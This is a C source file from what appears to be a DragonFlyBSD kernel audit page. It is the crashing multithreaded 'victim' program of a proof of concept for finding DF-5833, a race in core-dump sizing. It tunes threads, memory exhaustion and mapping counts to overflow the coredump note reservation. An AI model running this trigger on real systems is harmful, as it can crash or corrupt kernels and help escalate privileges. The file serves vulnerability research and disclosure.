⬢ DragonFlyBSD Kernel Audit
DF-5833 / victim.c
← back to finding ↓ download raw
/*
 * victim.c -- DF-5833 rig: the crashing multithreaded victim.
 *
 * Layout at crash time:
 *   - n_sleep sleeper threads (nanosleep in userland -> LSSLEEP ->
 *     pre-counted "stopped" by proc_stop(SCORE))
 *   - n_worker worker threads, each blocked INSIDE lwp_create(2) on an
 *     M_WAITOK allocation under VM exhaustion (also LSSLEEP -> pre-counted)
 *   - a few RW file mappings (count_vn vnode-backed segments for cb_put_fp)
 *   - n_pad single-page RW anon mappings (tune the DRYRUN header size
 *     residue mod PAGE_SIZE)
 *
 * Then SIGSEGV -> sigexit -> generic_elf_coredump:
 *   DRYRUN counts  1 + n_sleep + n_worker  LWPs;
 *   workers that complete their lwp_create between the two passes add
 *   800 bytes/LWP of notes the reservation cannot hold.
 *
 * Modes:
 *   victim probe <n_sleep>                 -- no workers, no gate: crash
 *                                            immediately (used to measure
 *                                            the header layout)
 *   victim run <n_sleep> <n_worker> <n_pad> <n_filemaps> <gate_file>
 *                                          -- wait for gate file to appear,
 *                                            release workers, wait until
 *                                            they are parked inside
 *                                            lwp_create, then crash.
 */
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/lwp.h>

#define NSLEEP_DFL	600
#define NWORKER_DFL	16

static int n_sleep = NSLEEP_DFL;
static int n_worker = NWORKER_DFL;
static int n_pad = 0;
static int n_filemap = 4;

static volatile int worker_state[512];
static volatile long worker_rv[512];
static volatile int total_children;	/* successful lwp_create calls */
static volatile long long call_start[512];	/* ms ts of current call */
static volatile int go_flag;

static int max_children = 600;

static long long
now_ms(void)
{
	struct timeval tv;
	gettimeofday(&tv, NULL);
	return (long long)tv.tv_sec * 1000 + tv.tv_usec / 1000;
}

static void
sleeper_fn(void *arg)
{
	struct timespec ts;
	ts.tv_sec = 3600;
	ts.tv_nsec = 0;
	for (;;)
		nanosleep(&ts, NULL);
}

/* Entry for the lwp_create()d children: sleep forever. */
static void
child_fn(void *arg)
{
	sleeper_fn(arg);
}

static void *
worker_fn(void *arg)
{
	long id = (long)arg;
	struct lwp_params params;
	int nchild = 0;

	/* One big stack region; each child gets its own 16KB slice. */
	void *stackregion = mmap(NULL, 16UL << 20, PROT_READ | PROT_WRITE,
				 MAP_ANON | MAP_PRIVATE, -1, 0);
	if (stackregion == MAP_FAILED) {
		fprintf(stderr, "worker %ld: stack region mmap failed\n", id);
		worker_state[id] = 2;
		return (NULL);
	}

	params.lwp_func = child_fn;
	params.lwp_arg = NULL;
	params.lwp_tid1 = NULL;
	params.lwp_tid2 = NULL;

	/* Wait for the go signal (eater holding free pages low). */
	while (!go_flag)
		usleep(1000);

	/* Loop lwp_create until a call PARKS (>100ms inside the kernel on
	 * an M_WAITOK allocation). Instant calls drain the recycled
	 * M_LWP/M_THREAD/kstack objcache entries; once those are exhausted
	 * the allocations hit vm_page_alloc, which fails below
	 * v_free_reserved and blocks in vm_wait. */
	for (;;) {
		params.lwp_stack = (char *)stackregion +
				   (size_t)(nchild + 1) * 16384;
		worker_state[id] = 1;
		call_start[id] = now_ms();
		long rv = syscall(SYS_lwp_create, &params);
		if (rv == 0) {
			__sync_fetch_and_add(&total_children, 1);
			nchild++;
		} else {
			/* e.g. EAGAIN (thread cap): cannot park this way */
			worker_rv[id] = rv;
			worker_state[id] = 2;
			break;
		}
		if (nchild >= max_children) {
			worker_state[id] = 2;	/* never parked; give up */
			break;
		}
	}
	/* Worker must STAY ALIVE (an exited lwp vanishes from the tree
	 * and would not be counted by the coredump note walk). */
	for (;;)
		sleep(3600);
	return (NULL);
}

static void
msleep(int ms)
{
	usleep(ms * 1000);
}

int
main(int argc, char **argv)
{
	const char *mode = (argc > 1) ? argv[1] : "run";
	const char *gate = NULL;
	pthread_attr_t attr;
	pthread_t th;
	int i;
	char path[256];

	setvbuf(stdout, NULL, _IONBF, 0);

	if (strcmp(mode, "probe") == 0) {
		n_sleep = (argc > 2) ? atoi(argv[2]) : NSLEEP_DFL;
		n_worker = 0;
		n_pad = 0;
		n_filemap = (argc > 3) ? atoi(argv[3]) : 4;
	} else {
		n_sleep   = (argc > 2) ? atoi(argv[2]) : NSLEEP_DFL;
		n_worker = (argc > 3) ? atoi(argv[3]) : NWORKER_DFL;
		n_pad    = (argc > 4) ? atoi(argv[4]) : 0;
		n_filemap= (argc > 5) ? atoi(argv[5]) : 4;
		gate = (argc > 6) ? argv[6] : NULL;
		max_children = (argc > 7) ? atoi(argv[7]) : 600;
	}
	if (n_worker > 512)
		n_worker = 512;

	/* File mappings: RW mappings of one file (vnode-backed segments). */
	int fd = open("/tmp/df5833/mapfile", O_RDWR | O_CREAT, 0644);
	if (fd < 0) {
		perror("mapfile");
		return (1);
	}
	if (ftruncate(fd, 65536) != 0)
		perror("ftruncate");
	for (i = 0; i < n_filemap; i++) {
		void *p = mmap(NULL, 4096, PROT_READ | PROT_WRITE,
			       MAP_SHARED, fd, 0);
		if (p == MAP_FAILED)
			perror("file mmap");
	}
	close(fd);	/* mappings survive close */

	/* Pad anon RW mappings: each adds one 56-byte phdr to the header. */
	for (i = 0; i < n_pad; i++) {
		void *p = mmap(NULL, 4096, PROT_READ | PROT_WRITE,
			       MAP_ANON | MAP_PRIVATE, -1, 0);
		if (p == MAP_FAILED) {
			fprintf(stderr, "pad mmap %d failed\n", i);
			break;
		}
	}

	pthread_attr_init(&attr);
	pthread_attr_setstacksize(&attr, 32768);

	/* Sleeper threads: drain M_LWP/M_THREAD/kstack zone caches and
	 * inflate the DRYRUN note reservation (800 bytes each). */
	for (i = 0; i < n_sleep; i++) {
		if (pthread_create(&th, &attr, (void *(*)(void *))sleeper_fn,
				   NULL) != 0) {
			fprintf(stderr, "sleeper %d failed\n", i);
			n_sleep = i;
			break;
		}
	}

	/* Worker threads (parked in lwp_create under VM exhaustion). */
	for (i = 0; i < n_worker; i++) {
		if (pthread_create(&th, &attr, worker_fn, (void *)(long)i) != 0) {
			fprintf(stderr, "worker %d failed\n", i);
			n_worker = i;
			break;
		}
	}

	fprintf(stdout, "VICTIM-SETUP sleep=%d workers=%d pad=%d filemaps=%d\n",
		n_sleep, n_worker, n_pad, n_filemap);

	if (strcmp(mode, "probe") == 0) {
		msleep(300);
	} else if (strcmp(mode, "ckpt") == 0) {
		/* Checkpoint-triggered dump: sys_checkpoint(CKPT_FREEZE,
		 * fd, -1, 0) -> ckpt_freeze_proc -> generic_elf_coredump
		 * with NO prelude: the DRYRUN sizing pass runs within
		 * milliseconds of the call, so workers parked inside
		 * lwp_create complete (insert) strictly AFTER it. */
		int ckfd = open("ckpt.img", O_WRONLY | O_CREAT | O_TRUNC,
				0644);
		if (ckfd < 0) {
			perror("ckpt.img");
			return (1);
		}
		if (gate) {
			while (access(gate, F_OK) != 0)
				usleep(2000);
		}
		msleep(100);	/* let the eater settle (no allocs here!) */
		go_flag = 1;
		msleep(600);	/* drain runs; free drops to the hard floor */
		{
			int done = 0;
			for (i = 0; i < n_worker; i++)
				if (worker_state[i] == 2)
					done++;
			fprintf(stdout,
				"WORKERS-DRAINING done=%d children=%d sleep=%d\n",
				done, total_children, n_sleep);
		}
		errno = 0;
		long rv = syscall(467, 1, ckfd, -1, 0);	/* CKPT_FREEZE */
		fprintf(stdout,
			"CKPT-RESULT rv=%ld errno=%d children=%d sleep=%d\n",
			rv, errno, total_children, n_sleep);
		msleep(200);
		_exit(rv == 0 ? 0 : 1);
	} else {
		/* Wait for the eater to pin free memory at the floor
		 * (gate file), THEN release the workers into the
		 * lwp_create drain loop. At the floor each call parks
		 * transiently (~5-50ms) inside the kernel on an M_WAITOK
		 * allocation; the drain duty cycle is ~90% in-call, so
		 * crashing mid-drain means most workers are parked inside
		 * lwp_create when proc_stop(SCORE) runs (pre-counted as
		 * stopped, their in-flight insertions complete during the
		 * coredump). */
		if (gate) {
			while (access(gate, F_OK) != 0)
				usleep(2000);
		}
		msleep(100);	/* let the eater settle (no allocs here!) */
		go_flag = 1;
		msleep(600);	/* drain runs; free drops to the hard floor */
	}

	fprintf(stdout, "VICTIM-CRASH\n");
	/* freshest possible snapshot of the children count (the DRYRUN
	 * will see this + any in-flight completions) */
	{
		int done = 0;
		for (i = 0; i < n_worker; i++)
			if (worker_state[i] == 2)
				done++;
		fprintf(stdout,
			"WORKERS-DRAINING done=%d children=%d sleep=%d\n",
			done, total_children, n_sleep);
	}
	/* Tidy fds: keep only 0,1,2 (elf_putfiles starts at fd 3). */
	for (i = 3; i < 32; i++)
		close(i);

	/* The fatal signal: SIGSEGV -> sigexit -> coredump */
	{
		volatile int *p = NULL;
		*p = 0x5833;
	}
	_exit(9);	/* not reached */
	return (0);
}